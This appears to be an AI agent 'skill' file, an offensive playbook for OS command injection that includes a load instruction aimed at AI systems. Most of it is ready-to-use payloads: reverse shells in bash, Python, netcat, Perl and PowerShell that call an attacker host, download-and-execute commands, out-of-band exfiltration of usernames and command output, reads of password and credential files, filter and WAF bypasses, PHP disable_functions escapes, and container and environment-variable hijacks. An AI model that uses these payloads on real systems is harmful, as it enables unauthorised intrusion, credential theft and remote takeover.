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prohao42/aimy-skill/cmdi-command-injection

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version: "1.0.0" name: cmdi-command-injection description: >- Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.

SKILL: OS Command Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.

0. RELATED ROUTING

Before going deep, you can first load:

upload insecure files when the shell sink is part of a broader upload, import, or conversion workflow

First-pass payload families

Context	Start With	Backup
generic shell separator	`;id`	`&&id`
quoted argument	`";id;"`	`';id;'`
blind timing	`;sleep 5`	`& timeout /T 5 /NOBREAK`
command substitution	`$(id)`	` id `
out-of-band DNS	`;nslookup token.collab`	Windows `nslookup` variant

text

cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid

1. SHELL METACHARACTERS (INJECTION OPERATORS)

These characters break out of the command context and inject new commands:

Metacharacter	Behavior	Example
`;`	Runs second command regardless	`dir; whoami`
`\	`	Pipes stdout to second command	`dir \	whoami`
`\	\	`	Run second only if first FAILS	`dir \	\	whoami`
`&`	Run second in background (or sequenced in Windows)	`dir & whoami`
`&&`	Run second only if first SUCCEEDS	`dir && whoami`
`$(cmd)`	Command substitution	`echo $(whoami)`
` cmd `	Command substitution (backtick)	` `echo` whoami `
`>`	Redirect stdout to file	`cmd > /tmp/out`
`>>`	Append to file	`cmd >> /tmp/out`
`<`	Read file as stdin	`cmd < /etc/passwd`
`%0a`	Newline character (URL-encoded)	`cmd%0awhoami`
`%0d%0a`	CRLF	Multi-command injection

2. COMMON VULNERABLE CODE PATTERNS

PHP

php

$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)
 
exec("ping -c 1 " . $ip);          // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file);        // ImageMagick RCE
passthru("nslookup " . $host);     // $host = "x.com; id"

Python

python

import os
os.system("curl " + url)            # url = "x.com; id"
subprocess.call("ls " + path, shell=True)  # shell=True is the key vulnerability
os.popen("ping " + host)

Node.js

javascript

const { exec } = require('child_process');
exec('ping ' + req.query.host, ...);  // host = "x.com; id"

Perl

perl

$dir = param("dir");
$command = "du -h /var/www/html" . $dir;
system($command);
// Inject dir field: | cat /etc/passwd

ASP (Classic)

szCMD = "type C:\logs\" & Request.Form("FileName")
Set oShell = Server.CreateObject("WScript.Shell")
oShell.Run szCMD
// Inject FileName: foo.txt & whoami > C:\inetpub\wwwroot\out.txt

3. BLIND COMMAND INJECTION — DETECTION

When response shows no command output:

Time-Based Detection

bash

# Linux:
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
& sleep 5 &
 
# Windows:
& timeout /T 5 /NOBREAK
& ping -n 5 127.0.0.1
& waitfor /T 5 signal777

Compare response time without payload vs with payload. 5+ second delay = confirmed.

OOB via DNS

bash

# Linux:
; nslookup BURP_COLLAB_HOST
; host `whoami`.BURP_COLLAB_HOST
$(nslookup $(whoami).BURP_COLLAB_HOST)
 
# Windows:
& nslookup BURP_COLLAB_HOST
& nslookup %USERNAME%.BURP_COLLAB_HOST

OOB via HTTP

bash

# Linux:
; curl http://BURP_COLLAB_HOST/`whoami`
; wget http://BURP_COLLAB_HOST/$(id|base64)
 
# Windows:
& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"

OOB via Out-of-Band File

bash

; id > /var/www/html/RANDOM_FILE.txt
# Then access: https://target.com/RANDOM_FILE.txt

4. INJECTION CONTEXT VARIATIONS

Within Quoted String

bash

command "INJECT"
# Inject: " ; id ; "
# Result: command "" ; id ; ""

Within Single-Quoted String

bash

command 'INJECT'
# Inject: '; id;'
# Result: command ''; id;''

Within Backtick Execution

bash

output=`command INJECT`
# Inject: x`; id ;`

File Path Context

bash

cat /var/log/INJECT
# Inject: ../../../etc/passwd (path traversal)
# Inject: access.log; id (command injection)

5. PAYLOAD LIBRARY

Information Gathering

bash

; id                          # current user
; whoami                      # user name
; uname -a                    # OS info
; cat /etc/passwd             # user list
; cat /etc/shadow             # password hashes (if root)
; ls /home/                   # home directories
; env                         # environment variables (DB creds, API keys!)
; printenv                    # same
; cat /proc/1/environ         # process environment
; ifconfig                    # network interfaces
; cat /etc/hosts              # host entries

Reverse Shells (Linux)

bash

# Bash:
; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
 
# Python:
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
 
# Netcat (with -e):
; nc ATTACKER 4444 -e /bin/bash
 
# Netcat (without -e / OpenBSD):
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f
 
# Perl:
; perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Reverse Shells (Windows via PowerShell)

powershell

& powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
 
& powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

6. FILTER BYPASS TECHNIQUES

Space Alternatives (when space is filtered)

bash

cat</etc/passwd          # < instead of space
{cat,/etc/passwd}        # brace expansion
cat$IFS/etc/passwd       # $IFS variable (field separator)
X=$'\x20'&&cat${X}/etc/passwd  # hex encoded space

Slash Alternatives (when `/` is filtered)

bash

$'\057'etc$'\057'passwd  # octal representation
cat /???/???sec???        # glob expansion

Keyword Bypass via Variable Assembly

bash

a=c;b=at;c=/etc/passwd; $a$b $c   # 'cat /etc/passwd'
c=at;ca$c /etc/passwd              # cat

Newline Injection

cmd%0Aid%0Awhoami          # URL-encoded newlines
cmd$'\n'id$'\n'whoami      # literal newlines

7. COMMON INJECTION ENTRY POINTS

Entry	Example
Network tools	ping, nslookup, traceroute, whois forms
File conversion	image resize, PDF generate, format convert
Email senders	From address, name fields in notification emails
Search/sort parameters	Passed to grep, find, sort commands
Log viewing	Passed to tail, grep commands
Custom script execution	"Run test" features, CI/CD hooks
DNS lookup features	rDNS lookup, WHOIS query
Backup/restore features	File path parameters
Archive processing	zip/unzip, tar with user-provided filename

8. BLIND INJECTION DECISION TREE

Found potential injection point?
├── Try basic: ; sleep 5
│   └── Response delays? → Confirmed blind injection
│       ├── Extract data via timing: if/then sleep
│       └── Use OOB: curl/nslookup to Collaborator
│
├── No delay observed?
│   ├── Try: | sleep 5
│   ├── Try: $(sleep 5)
│   ├── Try: ` sleep 5 `
│   ├── Try after URL encoding: %3B%20sleep%205
│   └── Try double encoding: %253B%2520sleep%25205
│
└── All blocked → check WEB APPLICATION LAYER
    Filter on input? → encode differently
    Filter on specific commands? → whitespace bypass, $IFS, glob

9. ADVANCED WAF BYPASS TECHNIQUES

Wildcard Expansion

bash

# Use ? and * to bypass keyword filters:
/???/??t /???/p??s??    # /bin/cat /etc/passwd
/???/???/????2 *.php     # /usr/bin/find2 *.php (approximate)
 
# Globbing for specific files:
cat /e?c/p?sswd
cat /e*c/p*d

cat Alternatives (when "cat" is filtered)

bash

tac /etc/passwd          # reverse cat
nl /etc/passwd           # numbered lines
head /etc/passwd
tail /etc/passwd
more /etc/passwd
less /etc/passwd
sort /etc/passwd
uniq /etc/passwd
rev /etc/passwd | rev
xxd /etc/passwd
strings /etc/passwd
od -c /etc/passwd
base64 /etc/passwd       # then decode offline

Comment Insertion (PHP specific)

bash

# Insert comments within function names to bypass WAF:
sys/*x*/tem('id')        # PHP ignores /* */ in some eval contexts
# Note: this works with eval() and similar PHP dynamic calls

XOR String Construction (PHP)

php

# Build function names from XOR of printable characters:
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
# Produces: "assert"
$_('%13%19%13%14%05%0d'|'%60%60%60%60%60%60');
# Evaluates: assert("system")

Base64/ROT13 Encoding

php

# Encode payload, decode at runtime:
base64_decode('c3lzdGVt')('id');     # system('id')
str_rot13('flfgrz')('id');           # system → flfgrz via ROT13

chr() Assembly

php

# Build strings character by character:
chr(115).chr(121).chr(115).chr(116).chr(101).chr(109)  # "system"

Dollar-Sign Variable Tricks

bash

# $IFS (Internal Field Separator) as space:
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
 
# Unset variables expand to empty:
c${x}at /etc/passwd      # $x is unset → "cat"

10. PHP disable_functions BYPASS PATHS

When system(), exec(), shell_exec(), passthru(), popen(), proc_open() are all disabled:

Path 1: LD_PRELOAD + mail()/putenv()

php

// 1. Upload shared object (.so) that hooks a libc function
// 2. Set LD_PRELOAD to point to it
putenv("LD_PRELOAD=/tmp/evil.so");
// 3. Trigger external process (mail() calls sendmail)
mail("a@b.com", "", "");
// The .so's constructor runs with shell access

Path 2: Shellshock (CVE-2014-6271)

php

// If bash is vulnerable to Shellshock:
putenv("PHP_LOL=() { :; }; /usr/bin/id > /tmp/out");
mail("a@b.com", "", "");
// Bash processes the function definition and runs the trailing command

Path 3: Apache mod_cgi + .htaccess

php

// Write .htaccess enabling CGI:
file_put_contents('/var/www/html/.htaccess', 'Options +ExecCGI\nAddHandler cgi-script .sh');
// Write CGI script:
file_put_contents('/var/www/html/cmd.sh', "#!/bin/bash\necho Content-type: text/html\necho\n$1");
chmod('/var/www/html/cmd.sh', 0755);
// Access: /cmd.sh?id

Path 4: PHP-FPM / FastCGI

php

// If PHP-FPM socket is accessible (/var/run/php-fpm.sock or port 9000):
// Send crafted FastCGI request to execute arbitrary PHP with different php.ini
// Tool: https://github.com/neex/phuip-fpizdam
// Override: PHP_VALUE=auto_prepend_file=/tmp/shell.php

Path 5: COM Object (Windows)

php

// Windows only, if COM extension enabled:
$wsh = new COM('WScript.Shell');
$exec = $wsh->Run('cmd /c whoami > C:\inetpub\wwwroot\out.txt', 0, true);

Path 6: ImageMagick Delegate (CVE-2016-3714 "ImageTragick")

php

// If ImageMagick processes user-uploaded images:
// Upload SVG/MVG with embedded command:
// Content of exploit.svg:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context

Also consider (summary): iconv (CVE-2024-2961) via php://filter/convert.iconv; FFI (FFI::cdef + libc) when the extension is enabled.

11. COMPONENT-LEVEL COMMAND INJECTION

ImageMagick Delegate Abuse

# MVG format with shell command in URL:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id > /tmp/out`'
pop graphic-context
 
# Or via filename: convert '|id' out.png

FFmpeg (HLS/concat protocol)

# SSRF/LFI via m3u8 playlist:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/header.txt|file:///etc/passwd
#EXT-X-ENDLIST
 
# Upload as .m3u8, FFmpeg processes and may leak file contents in output

Elasticsearch Groovy Script (pre-5.x)

json

POST /_search
{
  "query": { "match_all": {} },
  "script_fields": {
    "cmd": {
      "script": "Runtime rt = Runtime.getRuntime(); rt.exec('id')"
    }
  }
}

Ping/Traceroute/NSLookup Diagnostic Pages

# Classic injection point in network diagnostic features:
# Input: 127.0.0.1; id
# Input: 127.0.0.1 && cat /etc/passwd
# Input: `id`.attacker.com (DNS exfil via backtick)
# These features directly call OS commands with user input

Other sinks (quick reference): PDF generators (wkhtmltopdf / WeasyPrint with user HTML); Git wrappers (git clone URL / hooks).

12. WINDOWS CMD.EXE VS POWERSHELL INJECTION MATRIX

Feature	cmd.exe	PowerShell
Command separator	`&`, `&&`, `\	\	`,` ;` (limited)	`;`, `\	`,` &` (call operator)
Variable expansion	`%VARIABLE%`, `!VAR!` (delayed)	`$env:VARIABLE`, `$Variable`
Escape character	`^` (caret)	` `` (backtick)
Command substitution	`FOR /F` loops	`$()` subexpression
Encoded execution	N/A	`-EncodedCommand` (base64 UTF-16LE)
Pipeline	`\	` (stdout only)	`\	` (objects, not text)
Comment	`REM`, `::`	`#`
String quoting	`"double"` only	`"double"`, `'single'` (no expansion)

cmd.exe specific payloads

batch

REM Command chaining
dir & whoami
dir && whoami
dir || whoami
 
REM Caret escape to bypass keyword filters
w^h^o^a^m^i
n^e^t u^s^e^r
 
REM Variable expansion injection
set CMD=whoami
%CMD%
 
REM Environment variable exfiltration via DNS
nslookup %USERNAME%.attacker.com
nslookup %COMPUTERNAME%.attacker.com
 
REM Delayed expansion (when !var! is enabled)
cmd /V:ON /C "set x=whoami&!x!"

PowerShell specific payloads

powershell

# Semicolon separator
Get-Process; whoami
 
# Subexpression
"$(whoami)"
Write-Output $(hostname)
 
# Base64 encoded command (UTF-16LE)
powershell -EncodedCommand dwBoAG8AYQBtAGkA
# Decodes to: whoami
 
# Invoke-Expression obfuscation
$a='who';$b='ami';iex "$a$b"
& (gcm *ke-*) "whoami"
 
# Download and execute
IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')
IEX (iwr http://attacker/payload.ps1 -UseBasicParsing).Content
 
# Constrained Language Mode bypass (if available)
powershell -Version 2 -Command "whoami"

Cross-platform payload differences

Target	Time delay	DNS exfil	File read
Linux/macOS	`sleep 5`	`nslookup $(whoami).atk.com`	`cat /etc/passwd`
cmd.exe	`timeout /T 5 /NOBREAK`	`nslookup %USERNAME%.atk.com`	`type C:\Windows\win.ini`
PowerShell	`Start-Sleep 5`	`nslookup $(whoami).atk.com`	`Get-Content C:\Windows\win.ini`

Detection-first polyglot

text

;sleep${IFS}5;#&timeout /T 5 /NOBREAK&#

Works across sh/bash/cmd contexts — one of the separators will fire.

13. CONTAINER / K8S EXEC INJECTION

kubectl exec injection

When a web application constructs kubectl exec commands with user input:

text

# Vulnerable pattern
kubectl exec $POD_NAME -- /bin/sh -c "echo $USER_INPUT"
 
# Injection via pod name
POD_NAME="mypod -- /bin/sh -c whoami #"
→ kubectl exec mypod -- /bin/sh -c whoami # -- /bin/sh -c "echo ..."
 
# Injection via user input in command
USER_INPUT='"; cat /etc/passwd; echo "'
→ kubectl exec pod -- /bin/sh -c "echo ""; cat /etc/passwd; echo """

Docker exec injection

text

# Vulnerable web admin panel
docker exec $CONTAINER_NAME $COMMAND
 
# Injection via container name
CONTAINER_NAME="web_app -u root web_app"
→ docker exec web_app -u root web_app $COMMAND  (runs as root)
 
# Injection via command argument
COMMAND="status; cat /etc/shadow"
→ docker exec container /bin/sh -c "status; cat /etc/shadow"

Container runtime API (unauthenticated)

text

# Docker socket exposed (2375/2376 or /var/run/docker.sock)
POST /containers/create HTTP/1.1
{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/etc/shadow"],"Binds":["/:/host"]}
 
# Then start + exec
POST /containers/{id}/start
POST /containers/{id}/exec {"Cmd":["cat","/host/etc/shadow"]}
 
# Kubernetes API (6443/8443 unauthenticated)
POST /api/v1/namespaces/default/pods/{name}/exec?command=whoami&stdout=true

Sinks to watch for

Component	Injection Vector
CI/CD pipeline (Jenkins, GitLab CI)	Build step parameters, environment variables
Kubernetes CronJob	`.spec.containers[].command` from user-defined schedules
Helm chart values	`values.yaml` templated into pod specs with `{{ }}`
Container orchestration UI	"Run command" features in Portainer, Rancher, etc.

14. ENVIRONMENT VARIABLE INJECTION

When an application allows setting or influencing environment variables, several variables have implicit execution semantics:

Linux / Unix

Variable	Effect	Exploitation
`LD_PRELOAD`	Loaded before any shared library; constructor runs on process start	`putenv("LD_PRELOAD=/tmp/evil.so"); mail("a@b","","");`
`LD_LIBRARY_PATH`	Overrides library search path	Place malicious `libc.so.6` in controlled directory
`BASH_ENV`	Executed when non-interactive bash starts	`BASH_ENV=/tmp/evil.sh` → any `system()` / `popen()` call sources it
`ENV`	Same as BASH_ENV for POSIX `sh`	`ENV=/tmp/evil.sh`
`PROMPT_COMMAND`	Executed before each interactive prompt	`PROMPT_COMMAND="curl http://atk.com/$(whoami)"`
`PS1`	Prompt string, supports `$()` expansion in bash	`PS1='$(cat /etc/passwd > /tmp/out) \$ '`
`PYTHONSTARTUP`	Python script executed on interpreter startup	Inject path to malicious `.py` file
`PERL5OPT`	Options passed to every Perl invocation	`PERL5OPT='-Mbase;system("id")'`
`NODE_OPTIONS`	Options passed to every Node.js invocation	`NODE_OPTIONS='--require /tmp/evil.js'`
`RUBYOPT`	Options for Ruby	`RUBYOPT='-r/tmp/evil.rb'`

Windows

Variable	Effect
`COMSPEC`	Path to command interpreter; `system()` calls use this	Set to malicious executable
`PATH`	Command resolution order; place malicious binary earlier in path	DLL/EXE search order hijacking
`PSModulePath`	PowerShell auto-loads modules from these paths	Plant malicious module

Attack scenarios

PHP `putenv()` + `mail()`:

php

// When putenv() is not disabled and mail() is available:
putenv("LD_PRELOAD=/tmp/evil.so");
mail("a@b.com","","","");
// mail() invokes sendmail → loads evil.so → constructor executes arbitrary code

Git hook injection via environment:

bash

# GIT_DIR / GIT_WORK_TREE manipulation
GIT_DIR=/tmp/evil_repo/.git git status
# If hooks exist in the controlled repo, they execute

Node.js `--require` injection:

bash

NODE_OPTIONS="--require=/tmp/reverse_shell.js" node /app/server.js
# reverse_shell.js is loaded before server.js

All versions

Skill v1.0.0

SKILL: OS Command Injection — Expert Attack Playbook

0. RELATED ROUTING

First-pass payload families

1. SHELL METACHARACTERS (INJECTION OPERATORS)

2. COMMON VULNERABLE CODE PATTERNS

PHP

Python

Node.js

Perl

ASP (Classic)

3. BLIND COMMAND INJECTION — DETECTION

Time-Based Detection

OOB via DNS

OOB via HTTP

OOB via Out-of-Band File

4. INJECTION CONTEXT VARIATIONS

Within Quoted String

Within Single-Quoted String

Within Backtick Execution

File Path Context

5. PAYLOAD LIBRARY

Information Gathering

Reverse Shells (Linux)

Reverse Shells (Windows via PowerShell)

6. FILTER BYPASS TECHNIQUES

Space Alternatives (when space is filtered)

Slash Alternatives (when / is filtered)

Keyword Bypass via Variable Assembly

Newline Injection

7. COMMON INJECTION ENTRY POINTS

8. BLIND INJECTION DECISION TREE

9. ADVANCED WAF BYPASS TECHNIQUES

Wildcard Expansion

cat Alternatives (when "cat" is filtered)

Comment Insertion (PHP specific)

XOR String Construction (PHP)

Base64/ROT13 Encoding

chr() Assembly

Dollar-Sign Variable Tricks

10. PHP disable_functions BYPASS PATHS

Path 1: LD_PRELOAD + mail()/putenv()

Path 2: Shellshock (CVE-2014-6271)

Path 3: Apache mod_cgi + .htaccess

Path 4: PHP-FPM / FastCGI

Path 5: COM Object (Windows)

Path 6: ImageMagick Delegate (CVE-2016-3714 "ImageTragick")

11. COMPONENT-LEVEL COMMAND INJECTION

ImageMagick Delegate Abuse

FFmpeg (HLS/concat protocol)

Elasticsearch Groovy Script (pre-5.x)

Ping/Traceroute/NSLookup Diagnostic Pages

12. WINDOWS CMD.EXE VS POWERSHELL INJECTION MATRIX

cmd.exe specific payloads

PowerShell specific payloads

Cross-platform payload differences

Detection-first polyglot

13. CONTAINER / K8S EXEC INJECTION

kubectl exec injection

Docker exec injection

Container runtime API (unauthenticated)

Sinks to watch for

14. ENVIRONMENT VARIABLE INJECTION

Linux / Unix

Windows

Attack scenarios

Slash Alternatives (when `/` is filtered)